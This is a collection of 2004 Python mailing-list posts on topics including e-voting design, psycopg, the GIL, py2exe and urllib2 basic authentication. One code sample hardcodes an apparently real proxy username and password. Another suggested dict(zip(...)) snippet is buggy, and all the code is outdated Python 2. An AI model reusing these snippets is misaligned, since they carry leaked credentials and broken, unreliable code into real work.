> exists a one-to-one correlation between their theoretical model and the
> Python equivalent.
> 
> See the rest of the proposal at:
> http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf

This project seems like it will be both useful and fun - for all
concerned. For what more could the PSF ask? Certainly a great way to
promote the visibility of Python. I can conceive of several uses in my
own domain of public health - particularly in health promotion, where
more tools to model the social effects of specific health promotion
campaigns and interventions are sorely needed; this project might also
be useful in developing more accessible tools to model health care
financing and expenditure (for inspiration, see the work of Harold
Waitzkin and colleagues).

Of course, modelling the past and present Chinese state will bring new
meaning to Gang-of-Four paradigms in object-oriented programming.
Indeed, one might speculate that if Python and this project had happened
two decades earlier, Francis Fukiyama may not have been able to
triumphantly proclaim "the end of [dialectic] history" (but I make no
defence of the across-the-board failings of the former Soviet Union).

However, I agree with Cameron Laird's point that some mention needs to
be made of similar, previous work with Simula. Metaphysician Mertz is
familiar with SimPy and I suspect that there are plans to use it in this
project - see
http://www-106.ibm.com/developerworks/linux/library/l-simpy.html

Presumably the overall project code will be licensed under the GNU
General Public License (GPL) or similar, but might I suggest that some
of the example models are licensed under the "other" GPL which is
rumoured to exist. Modern Prince Mertz knows what I mean.

-- 

Tim C

PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere
or at http://members.optushome.com.au/tchur/pubkey.asc
Key fingerprint = 8C22 BF76 33BA B3B5 1D5B  EB37 7891 46A9 EAF9 93D0





From greg.steffensen at gmail.com  Thu Sep  9 23:31:54 2004
From: greg.steffensen at gmail.com (Greg  Steffensen)
Date: 9 Sep 2004 20:31:54 -0700
Subject: Electronic voting feasibility
Message-ID: <chr77a$4gj@odak26.prod.google.com>

I'm designing a web portal for universities (a free software, by/for
students thing), and I'm considering including an electronic voting
component.  The site is cute, but I'd like the internet voting
component to be close to the real deal,as well as easy to install, use
and verify.  Writing it in open Python code would be a big help in
making it easy to install, use and verify, I think, but I don't know if
there are technical reasons that Python would be a poor choice for this
(I don't care about performance).  Its intentionally simple (because
I've been taught that complex == insecure), and is basically just a
wrapper around GPG.

Are there any technical reasons that Python would be a poor choice for
this?  I have no illusions that its possible to build a perfect system,
but would Python be more vulnerable than C or Java for some reason?
I'm not a security guru, but it seems to me that the security of the
interpreter is meaningless next to the security of the os kernel (the
core of the system involves a series of nodes- election observers-
taking an encrypted package, encrypting it again, and passing it on...
the disk is never touched), so choice of language is largely arbitrary.
Is this wrong?  Are there reasons to choose/avoid Python?
Greg Steffensen



From donn at u.washington.edu  Thu Sep 16 13:16:24 2004
From: donn at u.washington.edu (Donn Cave)
Date: Thu, 16 Sep 2004 10:16:24 -0700
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com>
	<roy-F19881.09301016092004@reader1.panix.com>
Message-ID: <donn-AAC12A.10162416092004@gnus01.u.washington.edu>

In article <roy-F19881.09301016092004 at reader1.panix.com>,
 Roy Smith <roy at panix.com> wrote:

> aleaxit at yahoo.com (Alex Martelli) wrote:
> > Copy and paste is a BAD way to reuse software.  Very, very bad.  Anybody
> > with the least experience maintaining big programs will confirm.
> 
> Absolutely agree.
> 
> A while ago, I was working on a piece of code written by somebody who 
> didn't believe in this.  I found a bug and fixed it.  Sometime later, we 
> realized the fix was wrong and I went back to make an additional change.
> 
> I was surprised when the file I was looking at appeared to be the 
> original code.  Where had my first change gone?  We spent an afternoon 
> looking through CVS logs, getting ourselves more and more convinced that 
> CVS had somehow messed up.
> 
> It turns out, the fix I made was in a huge function (100's of lines) 
> which somebody had cut-and-pasted to make three versions which did 
> almost identical things.  And then they gave the functions almost 
> identical names, along the lines of:
> 
> sendMessageToServerWithAlertCondition ()
> sendMessageToServerWithErrorCondition ()
> sendMessageToServerWithOtherCondition ()
> 
> So, yeah, Alex is right.  Don't do that.

Sure, don't do _that_.  But do you think anyone might be
able to come up with cases where software has been unnecessarily
fragile because of a compulsive desire to avoid repeating a
line of similar code anywhere?  Don't do that, either!

   Donn Cave, donn at u.washington.edu


From skip at pobox.com  Fri Sep 24 16:56:31 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Sep 2004 15:56:31 -0500
Subject: Global Interpreter Lock
In-Reply-To: <cj216l$1m0r$1@news.cybercity.dk>
References: <cj216l$1m0r$1@news.cybercity.dk>
Message-ID: <16724.35327.21264.57652@montanaro.dyndns.org>


    Tomas> Excaclty HOW global is the global interpreter lock?

Per-process.

Skip


From aleaxit at yahoo.com  Fri Sep 17 02:14:25 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 17 Sep 2004 08:14:25 +0200
Subject: what's the deal of "_" in Python?
References: <mailman.3416.1095372913.5135.python-list@python.org>
	<49idncYjAKcPj9fcRVn-og@powergate.ca>
	<mailman.3418.1095373741.5135.python-list@python.org>
Message-ID: <1gk8fe4.vyvg5t145l445N%aleaxit@yahoo.com>

Erik Heneryd <erik at heneryd.com> wrote:

> phansen wrote:
> > Yun Mao wrote:
> > 
> >> Can someone give me some pointers to the related docs? Thanks.
> > 
> > 
> > It's a variable name.  See http://docs.python.org/ref/identifiers.html
> 
> ...and is special in interactive mode.  See 
> http://docs.python.org/ref/id-classes.html

...and is used in the gettext module for internationalization (as a
function name, in that case).


Alex


From sholden at holdenweb.com  Wed Sep  1 11:54:21 2004
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 01 Sep 2004 11:54:21 -0400
Subject: Larry Wall & Cults
In-Reply-To: <20040830.2227.57577snz@dsl.co.uk>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<pan.2004.08.29.03.59.02.719953@bar.net>
	<25u2j0d9bfulqljo6d2jbls2v52l1jk3sd@4ax.com>
	<pan.2004.08.30.00.02.19.911327@bar.net>
	<20040830.2227.57577snz@dsl.co.uk>
Message-ID: <3jmZc.17355$ni.11047@okepread01>

Brian {Hamilton Kelly} wrote:

> On Sunday, in article
>      <pan.2004.08.30.00.02.19.911327 at bar.net> foo at bar.net "Mac"
>      wrote:
> 
> 
>>Hmm. No explicit comparison was made, but since the post is a cautionary
>>tale (well, the post is a rambling mess, but I think it is trying to be a
>>cautionary tale) I think the comparison is understood.
> 
> 
> "Cautionary tale"????  Cautionary tale, my arse.
> 
> The post was the fuckwitted ramblings of a total raving looney; kill the
> thread (and the original poster) and forget about it.
> 
Snicker. Definitely the most sensible suggestion I've seen so far.

regards
  Steve


From firstname at lastname.pr1v.n0  Wed Sep  8 14:43:17 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Wed, 8 Sep 2004 20:43:17 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
	<413f049f$0$6914$61fed72c@news.rcn.com>
Message-ID: <5sjnhc.bb81.ln@via.reistad.priv.no>

In article <413f049f$0$6914$61fed72c at news.rcn.com>,  <jmfbahciv at aol.com> wrote:
>In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
>   rpw3 at rpw3.org (Rob Warnock) wrote:
>>John Thingstad <john.thingstad at chello.no> wrote:
>>+---------------
>>| As you may know XP is not particularly good as a server.
>>....
>>| I would go for some Unix implementation (perhaps free-BSD)
>>| As a workstation XP seems OK.
>>| I hear a lot of complaints about XP's stability.
>>| Since I have not administered a XP network, yet, I cant comment on that.
>>| But in my personal experience it is a stable system.
>>| I frequently let my computer run 24 hrs. a day for more than a month  
>>| without a need to reboot. So for me it is adequate.
>>+---------------
>>
>>*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>>[an old, slow '486]:
>>
>>    %  uptime
>>     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00
>>    % 
>>
>>That's over *20* months!!
>
>I bet we can measure the youngster's age by the uptimes he boasts.
>>
>>
>>-Rob
>>
>>p.s. I remember the time back in the early 70's (at Emory Univ.) when
>>we called DEC Field Service to complain that our PDP-10 had an uptime
>>of over a year. Why were we complaining? Well, that meant that DEC Field
>>Service had failed to perform scheduled preventive maintenance (which
>>usually involved at least one power cycle)...  ;-}
>
>One?  Had to be two.  FS was supposed to use their service pack
>as the system disk, not the customers!!!  I believe that was
>true even in 1970.  The dangers of smushing bits was too great.

But with a PM you had to do a cold start. All the disks had to be 
spun down, filters changed, and they had to spin for an ungodly long
time after the filter change before heads could be enabled again. This
was to bring all the dust that was let loose in the process into the new
filters before heads went to fly over the platters again.

Also power supplies had to be checked for the dreaded capacitor
problems. Tape drives also had these. This was industry-wide 
problems; and news from a few burned UPS'es the last couple of
months tell me that the capacitor problems are still with us.

It was a real accomplishment when we in 1988 could do a full
PM (Prime gear) without shutting down the system. All disks were
mirrored, and all power duplicated, so we shut down half of the
hardware and did PM on that; and took the other half next week. 

SMD filters were used at a quite high rate; even inside well 
filtered rooms. ISTR 6 months was a pretty long interval between PM's. 

-- mrr


From init_self at yahoo.no  Fri Sep 17 10:27:30 2004
From: init_self at yahoo.no (init_self)
Date: Fri, 17 Sep 2004 14:27:30 -0000
Subject: Attributeerror
Message-ID: <cies8i+kp4t@eGroups.com>

extreme newbie question:

I have a filename.py file with an attribute named a.
I`s a dictionary example, and when I start the interpreter
and call the attribute its value prints out fine.

Then I change the name of the attribute from a to b and save 
filename.py

Calling the attribute now produces an errormessage:
Attributeerror: 'module has no attribute 'b'

This irritates me. Why does it happen?






From jerf at jerf.org  Tue Sep  7 13:44:47 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 07 Sep 2004 17:44:47 GMT
Subject: ANN: WxInter
References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
	<pan.2004.09.06.21.23.40.851628@jerf.org>
	<chk3hp$gqb$1@news-reader3.wanadoo.fr>
	<WKOdnb_jwesHc6DcRVn-ug@centurytel.net>
Message-ID: <pan.2004.09.07.13.44.59.240541@jerf.org>

On Tue, 07 Sep 2004 10:24:03 -0700, Ed Suominen wrote:

> Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython
> to provide the text and canvas widget functionality, and then move with the
> WxInter idea to use it as a path for abandoning TkInter.

I really didn't want to do my project in TkInter, because of the scarcity
of widgets. I once tried to go Windows-only, and source-modified the
Windows version to allow me access to even more Windows specific
functionality, and I *still* couldn't match the Tk Text widget.

In particular, the %x,y syntax that identifies a point in the text by
screen coordinates, although some other minor things were missing too. For
my app, that was the critical bit that even made it *possible* without
writing a new text widget somewhere. (While I could do it theoretically,
I'd sooner drop my app; there's no point in an app that needs a custom GTK
to work.)

You might want to instead focus on extended the pre-existing AnyGUI
project. 

http://anygui.sourceforge.net/

(Look, a constructive suggestion instead of criticism :-) !) Trying to
implement Tk in wxWindows is probably man-years of work, and probably the
most feasible avenue is to actually source-integrate the Tk widgets into
wxWindows itself; yes, that's a lot of work but I bet it is the least
overall. (Not a horrid idea, but extracting the Tk text widget may
be a real handful due to major impedance mismatch.) 

If you're willing to drop the 100% compatibility requirement, then at that
point there's no reason not to extent AnyGUI as much as possible, create a
Tk-a-like front end for AnyGUI, and anybody who uses too much Tk stuff
can't use AnyGUI, which is true no matter what you do so no loss. A little
more work, vastly more reward; a migration path off Tk for simple Tk
users, and if you start from day one with AnyGUI, more flexibility.



From timr at probo.com  Sat Sep 11 01:57:25 2004
From: timr at probo.com (Tim Roberts)
Date: Fri, 10 Sep 2004 22:57:25 -0700
Subject: Connecting to a postgresql DB?
References: <pan.2004.09.08.21.54.22.327805@augustmail.com>
Message-ID: <ve45k0d5ipc5d41und0ps2kjatg8uh5kjq@4ax.com>

Lance Hoffmeyer <lance-news at augustmail.com> wrote:
>
>I am trying to learn some basics of python.  One of the things
>I want to do is write a script to access a postgresql database
>DB as user USER with password PW and 
>
>SELECT first_name, last_name, birthday FROM contacts
>
>print to the screen and then disconnect.
>
>Can someone show me an example of how to do this?

Postgres support is not built-in to Python.  You'll need to install one of
the Postgres packages, like pgdb or pypgsql or psycopg.  They are all
compliant with the Python DBAPI spec, so the usage is pretty similar:

   import psycopg

   db = psycopg.connect("dbname=db user=USER password=PW")
   cur = db.cursor()
   cur.execute("SELECT first_name, last_name, birthday FROM contacts")

   for first,last,bday in cur.fetchall():
      print "%s %s has birthday %s" % (first, last, bday)
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From martin at v.loewis.de  Fri Sep 17 15:50:38 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 21:50:38 +0200
Subject: Changes in this release docs
In-Reply-To: <kiG2d.65793$D%.56019@attbi_s51>
References: <kiG2d.65793$D%.56019@attbi_s51>
Message-ID: <414b400c$0$24870$9b622d9e@news.freenet.de>

Jeff Blaine wrote:
> Something that has always bothered me about the 'Changes in this
> release' docs for new features (generators for instance):  There's
> usually no explanation for why the feature was added.

Which document are you specifically referring to? AFAICT, there is
no document titled "Changes in this release", atleast not for Python.

> I don't think it's reasonable to expect language _users_ to keep
> up with PEPs, etc.

But is it asked to much for users to read the PEP when they want
to find out the rationale for a change?

Regards,
Martin


From carribeiro at gmail.com  Fri Sep  3 09:15:36 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 10:15:36 -0300
Subject: allowing braces around suites
In-Reply-To: <slrncjg47t.7or.apardon@rcpc42.vub.ac.be>
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
	<slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
	<pan.2004.09.02.13.05.51.473986@jerf.org>
	<slrncjg47t.7or.apardon@rcpc42.vub.ac.be>
Message-ID: <864d3709040903061533faa453@mail.gmail.com>

[Antoon Pardon]
> Just because I think that
> 
>   for ...
>     if ...
>       for
>         loop
>         code
>       endfor
>     endif
>   endfor
>   remainder
> 
> is in general more readable than
> 
>   for ...
>     if ...
>       for ...
>         loop
>         code
>   remainder
> 
> I'm writing spaghetti code.

I would not go that far as to say that you are writing spaghetti code.
But I really think that the Python-styled code is easier to read. It
may be a matter of personal opinion. One distinct advantage of
Python's style is that it makes for a slightly shorter code, which in
turn fits better into the editing window. And nothing stops you from
using comments or whitespace to mark the end of the enclosed blocks.
So this is not necessary... and insisting loudly on your point doesn't
help, either.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From deetsNOSPAM at web.de  Wed Sep 15 16:44:06 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 15 Sep 2004 22:44:06 +0200
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
Message-ID: <cia9if$v1$06$1@news.t-online.com>

Pierre Fortin wrote:

> osstat = todict(os.stat("%s" % path),
>                 "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime")
> uname = todict(os.uname(),
>                "sysname, nodename,release,version, machine")

Use 

dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"],
os.stat("%s" % path)))


-- 
Regards,

Diez B. Roggisch


From forodejazz at yahoo.es  Tue Sep 21 04:31:46 2004
From: forodejazz at yahoo.es (David Asorey ?lvarez)
Date: 21 Sep 2004 01:31:46 -0700
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <1759581e.0409210031.74b6fb2d@posting.google.com>

julio <julioperezsosa at yahoo.com> wrote in message news:<mailman.3520.1095631846.5135.python-list at python.org>...
> Sorry but there is no another way, c# .net and mono are going to rip
> python, not because python is a bad lenguage, but because is to darn old
> [ ... ]
> 
> -- tools,tools,tools : have people that likes python ever used an ide? i
> mean a good ide, the one that saves you a lot of time, and makes you
> productive.
> 

Have you tried Eric? (http://www.die-offenbachs.de/detlev/eric3.html)
It's an excellent IDE.

David.


From jacques.coeurs at laposte.net  Wed Sep 15 04:56:10 2004
From: jacques.coeurs at laposte.net (jack)
Date: 15 Sep 2004 01:56:10 -0700
Subject: python task manager
Message-ID: <106645cc.0409150056.708bba7a@posting.google.com>

Hi,

I am  looking for a task manager written in python that is powerfull
and simple enough to schedule a lot of different tests on an every day
or many time a day basis.

-----------------------
python scheduler module
------------------------

Python build in scheduler works but afaik you send action to be done
in N minutes.
I would prefer to input information like "do it at 15h00 every day".
Plus if two task are to be runned at the same time, I am not sure of
how it would react.

-------
WebWare
-------

Webware taskkit looks at first glance the good solution.

------------
Os scheduler
------------

Then of course, I could use the Os scheduler (windows or linux), but
it may be more difficult to react in case of problem.

**********
QUESTION ?
**********
Is there other python options than these 3 ?

Thanks in advance.

Jack.


From FBatista at uniFON.com.ar  Thu Sep 23 08:47:19 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 23 Sep 2004 09:47:19 -0300
Subject: floating point glitch
Message-ID: <A128D751272CD411BC9200508BC2194D053C79B7@escpl.tcp.com.ar>

[David O'Farrell]

#- Python 2.3.3 (#1, Mar 19 2004, 16:18:33)
#- [GCC 2.95.2 19991024 (release)] on sunos5
#- Type "help", "copyright", "credits" or "license" for more 
#- information.
#-  >>> a=[66.6, 333, 333, 1, 1234.5]
#-  >>> print a.count(333), a.count(66.6), a.count('x')
#- 2 1 0
#-  >>> a.append(333)
#-  >>> print a
#- [66.599999999999994, 333, 333, 1, 1234.5, 333]

FAQ:
http://www.python.org/doc/faq/general.html#why-are-floating-point-calculatio
ns-so-inaccurate

Tutorial: http://www.python.org/dev/doc/devel/tut/node16.html

Decimal: http://www.python.org/dev/doc/devel/whatsnew/node8.html

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/112cd5ef/attachment.html>

From skip at pobox.com  Thu Sep  2 19:54:31 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Sep 2004 18:54:31 -0500
Subject: Right way to define methods to SimpleXMLRPCServer?
In-Reply-To: <ch83pv$2p2$07$1@news.t-online.com>
References: <mailman.2786.1094154407.5135.python-list@python.org>
	<ch83pv$2p2$07$1@news.t-online.com>
Message-ID: <16695.45751.926923.151676@montanaro.dyndns.org>


    Diez> Looking into the docs, you see that dispatch is supposed to have this
    Diez> signature:

    Diez> def _dispatch(self, method, params):

Thanks.  The _dispatch interface isn't defined in the SimpleXMLRPCServer
docs.  Your comment made me try pydoc.  I'll update the LaTeX docs.

Skip




From cgibbs at kltpzyxm.invalid  Wed Sep  1 15:11:12 2004
From: cgibbs at kltpzyxm.invalid (Charlie Gibbs)
Date: 01 Sep 04 11:11:12 -0800
Subject: Xah Lee's Unixism
References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
	<4135cea1$0$19726$61fed72c@news.rcn.com>
Message-ID: <819.740T630T6713647@kltpzyxm.invalid>

In article <4135cea1$0$19726$61fed72c at news.rcn.com>, jmfbahciv at aol.com
(jmfbahciv) writes:

>In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>,
>red floyd <no.spam at here.dude> wrote:
>
>>CBFalconer wrote:
>>
>>> Dump Notepad and get Textpad.  www.textpad.com.  First class.
>>>
>>
>>Let the editor flame wars begin!
>>
>>Get gvim!  www.vim.org
>
>You think notepad is an editor?  <snort>  You must be young
>and inexperienced in the ways of Real Man's Editing sports.

I'll give up CygnusEd (and the Amiga it runs on) when they
pry it from my cold dead fingers.

--
/~\  cgibbs at kltpzyxm.invalid (Charlie Gibbs)
\ /  I'm really at ac.dekanfrus if you read it the right way.
 X   Top-posted messages will probably be ignored.  See RFC1855.
/ \  HTML will DEFINITELY be ignored.  Join the ASCII ribbon campaign!



From xnews2 at fredp.lautre.net  Wed Sep  8 05:57:08 2004
From: xnews2 at fredp.lautre.net (Fred Pacquier)
Date: 08 Sep 2004 09:57:08 GMT
Subject: i18n and GUI under Windows
References: <f06d8508.0409061625.10440451@posting.google.com>
	<Xns955DE35ED6C2PaCmAnRDLM@212.27.42.76>
	<f06d8508.0409071833.2d7bc2dc@posting.google.com>
Message-ID: <Xns955E79AA5F56PaCmAnRDLM@212.27.42.74>

andre.roberge at ns.sympatico.ca (Andr? Roberge) said :

> Thanks for the suggestion.  Actually I will NOT use the automatic
> detection - and I would encourage others to do the same.  The reason
> is as follows:

Quite, those are the sorts of reasons I had in mind when making that 
remark. As I said, this was just a quick hack to verify things worked as 
intended, not an end-user-friendly product :-)

-- 
YAFAP : http://www.multimania.com/fredp/


From http  Fri Sep 17 03:19:50 2004
From: http (Paul Rubin)
Date: 17 Sep 2004 00:19:50 -0700
Subject: Recursive function not returning value
References: <10kl34qereo06ac@corp.supernews.com>
Message-ID: <7xzn3pnyzt.fsf@ruckus.brouhaha.com>

"Derek Rhodes" <rhoder at worldpath.net> writes:
>     if type(word) == str:
>         print "it's a word"
>         test([word])

The last line tests [word] and throws away the value.  YOu have to say
"return test([word])".


From jcarter at johmar.engr.sgi.com  Wed Sep 22 15:31:16 2004
From: jcarter at johmar.engr.sgi.com (Jack Carter)
Date: Wed, 22 Sep 2004 12:31:16 -0700 (PDT)
Subject: namespace/dictionary quandry
In-Reply-To: Peter Otten <__peter__@web.de>
	"Re: namespace/dictionary quandry" (Sep 22,  8:48pm)
References: <mailman.3474.1095464076.5135.python-list@python.org> 
	<cigt4h$mrf$05$1@news.t-online.com> 
	<mailman.3584.1095704635.5135.python-list@python.org> 
	<cioj7k$o6$02$1@news.t-online.com> 
	<mailman.3726.1095870077.5135.python-list@python.org> 
	<1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> 
	<mailman.3734.1095876139.5135.python-list@python.org> 
	<cishdd$eaa$03$1@news.t-online.com>
Message-ID: <10409221231.ZM975856@johmar.engr.sgi.com>

On Sep 22,  8:48pm, Peter Otten wrote:
> Subject: Re: namespace/dictionary quandry

> I just ensure that all arguments not already in self.locals are added with
> their name as their value. (I also renamed 'parent' to 'self' - I could not
> stand it any longer :-)

Novice error on my part. Thanks for the correction.

>
> Note that I don't particularly like both hacks and would rather use plain
> old python functions with standard python syntax instead of your custom
> language.

It makes the programmers job easier, but not the customer
who may just want a non-gui debugger commandline session tool.
That customer doesn't want to know anything about python or
function calls even though underneath the covers that's what
they are getting. At the same time, the testers want the full
scripting power of python.

To make life even more fun, there is a C++ front end and C++
back end that deal with many processes over many nodes. Some
of the commands are syncronous and return a value that feed
into the python name space and others are asyncronous that
may implode somewhere in the future and need to bring the
whole mess to some sane state to handle the problem

I guess it is my own private hell to work on.

Your change seems to work great!

Thanks,

Jack
>
>
> Peter
>


From timr at probo.com  Sat Sep 11 02:04:15 2004
From: timr at probo.com (Tim Roberts)
Date: Fri, 10 Sep 2004 23:04:15 -0700
Subject: Postgresql - Preferred Python Library
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<mailman.3128.1094781255.5135.python-list@python.org>
Message-ID: <j855k0l6a5k1mm6usco0tevrk50t5u6oat@4ax.com>

Cliff Wells <clifford.wells at comcast.net> wrote:
>On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote:
>> 
>> I have noticed that there are a numbe rof client libraries for connecting to 
>> Postgres.
>> 
>> Can anyone tell me what is the recommended Python library for database 
>> connections
>
>I'd strongly recommend psycopg.  I've used both psycopg and the pgsql
>module and found psycopg to be much more stable. 

So have I, and I wish I could quantify the difference.  It's not like
pyPgSQL crashes on me every day, but there's something intangible about
psycopg that appeals to me.  I've switched to it everywhere.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From googlemike at hotpop.com  Wed Sep  1 20:39:31 2004
From: googlemike at hotpop.com (Google Mike)
Date: 1 Sep 2004 17:39:31 -0700
Subject: How do I set gtk.RadioButton font?
Message-ID: <25d8d6a8.0409011639.13f62d65@posting.google.com>

I've got pyGTK 2-1.99.14 (which comes with my RH9 Linux). Does anyone
know how to set the gtk.RadioButton font? I'm finding the font size
too big for an application I need to build.


From carribeiro at gmail.com  Sat Sep 25 00:14:10 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 01:14:10 -0300
Subject: Why not FP for Money?
In-Reply-To: <7xisa3gllf.fsf@ruckus.brouhaha.com>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
	<7xisa3gllf.fsf@ruckus.brouhaha.com>
Message-ID: <864d370904092421141a20e70@mail.gmail.com>

On 24 Sep 2004 18:53:48 -0700, Paul Rubin
<"http://phr.cx"@nospam.invalid> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> writes:
> > That's it -- there's a context object. And that's what should be used
> > for fixed point too. I also liked your 10d3 example -- it's a nice
> > extension to the basic syntax.
> 
> Heh, I thought that notation was reserved for Python 2.5's function
> for rolling ten 3-sided dice ;-)

I was about to tell the same joke but I was afraid that many people
would miss it :-)

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From sharidas at zeomega.com  Tue Sep 28 01:14:04 2004
From: sharidas at zeomega.com (Satchidanand Haridas)
Date: Tue, 28 Sep 2004 10:44:04 +0530
Subject: A Question....
In-Reply-To: <20040928043411.27624.qmail@webmail26.rediffmail.com>
References: <20040928043411.27624.qmail@webmail26.rediffmail.com>
Message-ID: <4158F31C.2010207@zeomega.com>

Hi,

Checkout py2exe for creating stand-alone executables of python programs:

http://starship.python.net/crew/theller/py2exe/

For creating installers, checkout InnoSetup:

http://www.jrsoftware.org/


regards,
Satchit


Sandeep Avinash Gohad wrote:

>  
>Hi
>
>How to create ".exe" file of any python program.As after creating the ".exe" file I can run the program without python software,
>Also the same with Unix or Linux operating System.
>Is there any tool available to create the setup of any program.
>Like we have the tools like "install-shield" or "Package & Deployment"
>I am interested in developing a data-base related program with python
>so if u know any useful links please send it to me.
>
>Thanx
>Sandeep
>  
>




From programmer.py at gmail.com  Thu Sep 16 08:49:36 2004
From: programmer.py at gmail.com (Jaime Wyant)
Date: Thu, 16 Sep 2004 07:49:36 -0500
Subject: HTTP - basic authentication example.
In-Reply-To: <6f402501040916022738bd70b5@mail.gmail.com>
References: <6f402501.0409150737.1bfc6958@posting.google.com>
	<d52c72d2040915092132ce7c34@mail.gmail.com>
	<6f402501040916022738bd70b5@mail.gmail.com>
Message-ID: <d52c72d204091605495b8e7bb9@mail.gmail.com>

On Thu, 16 Sep 2004 10:27:22 +0100, Michael Foord <fuzzyman at gmail.com> wrote:
> Cool, that is helpful.
> The difficulties I would have with that approach are two fold - first
> I use ClientCookie and have to install that as the handler. I may be
> able to use an auth handler *as well* (I *think* yo ucan chain them
> ?).
> 

Yes, you can chain them together, I believe, as long as they "handle"
different things.  My version is a quick hack that specifically gets
me around the firewall here at work.  I think the *correct* way to do
this Basic Authentication is (from urllib2.py):

# set up authentication info
authinfo = urllib2.HTTPBasicAuthHandler()
authinfo.add_password('realm', 'host', 'username', 'password')

proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"})

# build a new opener that adds authentication and caching FTP handlers
opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler)

# install it
urllib2.install_opener(opener)

f = urllib2.urlopen('http://www.python.org/')

I'm not sure what a ClientCookie is (didn't see it in my docs.) 
Assuming that it is just a wrapper around the cookie, then you
probably only need the HTTP headers.  You can grab the HTTP headers
from the object returned by urllib2.urlopen().

filelike_obj = urllib2.urlopen('http://www.python.org/')
headers = filelike_obj.info()
server_type = headers.getheader( "SERVER") 

Maybe you can feed the Cookie header to the ClientCookie ctor?

HTH,
jw

> The second is that I think I need to take realm into account... I may
> be handling multiple password/username combinations.
> 
> Anyway - I still find what you've sent useful - thanks.
> 
> Fuzzy
> 
> 
> 
> 
> On Wed, 15 Sep 2004 11:21:21 -0500, Jaime Wyant <programmer.py at gmail.com> wrote:
> > FWIW, this is how I handle Basic Authentication:
> >
> > import urllib2
> > import sys
> >
> > class AuthenticateAllURIs:
> >     """This class authenticates all Basic Authentication using uname
> > / pword."""
> >    def __init__(self,uname,pword):
> >        self.uname = uname
> >        self.pword = pword
> >
> >    def find_user_password(self, realm, host):
> >        # Note, that this class doesn't take `realm' into consideration.
> >        return self.uname, self.pword
> >
> >    def add_password( self, realm, uri, user, password ):
> >        pass
> >
> > auth = urllib2.ProxyBasicAuthHandler(AuthenticateAllURIs('umjaw', 'fuse3'))
> > opener = urllib2.build_opener( auth )
> > urllib2.install_opener( opener )
> > wp = urllib2.urlopen("http://www.slashdot.org")
> > print wp.read()
> >
> > HTH,
> > jw
> >
> > On 15 Sep 2004 08:37:12 -0700, Michael Foord <fuzzyman at gmail.com> wrote:
> > [ snip! ]
> >
> 
> 
> --
> http://www.Voidspace.org.uk
> The Place where headspace meets cyberspace. Online resource site -
> covering science, technology, computing, cyberpunk, psychology,
> spirituality, fiction and more.
> 
> ---
> http://www.Voidspace.org.uk/atlantibots/pythonutils.html
> Python utilities, modules and apps.
